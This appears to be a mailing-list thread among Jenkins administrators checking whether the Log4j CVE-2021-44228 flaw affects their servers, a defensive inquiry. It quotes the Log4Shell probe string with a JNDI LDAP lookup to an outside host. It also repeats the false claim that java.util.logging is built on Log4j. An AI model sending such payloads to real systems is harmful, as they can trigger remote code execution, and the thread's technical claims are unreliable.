The good news is that passing the ${jndi:ldap://example.com/a} string 
through the logger does not trigger the CVE behaviour. 

On Sunday, December 12, 2021 at 11:44:35 a.m. UTC-5 [email protected] 
wrote:

> Running the script:
> println(java.util.logging.Logger.class)
>
> does indicated that Apache logger (built on top of Log4j) is present in 
> the LTS version of Jenkins.
>
> On Sunday, December 12, 2021 at 11:39:55 a.m. UTC-5 [email protected] 
> wrote:
>
>> Hi Kritesh,
>>
>> Thank you for this info.
>>
>> The problem with that example is that Apache java.util.logging is built 
>> on top of Log4j but does not identify as such. I am not convinced that this 
>> test is sufficient.
>>
>> Sincerely,
>> Randall
>>
>> On Sunday, December 12, 2021 at 11:34:15 a.m. UTC-5 [email protected] 
>> wrote:
>>
>>> I am following for the same issue… found below info on community page 
>>> regarding this vulnerability. 
>>>
>>> https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/
>>>
>>>
>>> Thanks & Regards, 
>>> Kritesh
>>>
>>> On Sun, Dec 12, 2021 at 9:27 AM [email protected] <[email protected]> 
>>> wrote:
>>>
>>>> Hi All,
>>>>
>>>> I am looking for any information relating to whether the Zero Days CVE 
>>>> has any impact on Jenkins or Plugins. We do know that the 
>>>> java.util.logging 
>>>> is built on log4j, but do not know whether protections are in place to 
>>>> prevent this vulnerability from being exploited, and where. For example, 
>>>> could a command in a pipeline trigger this vulnerability.
>>>>
>>>> This is a somewhat urgent request.
>>>>
>>>> Thanks,
>>>> Randall
>>>>
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>>>> .
>>>>
>>>

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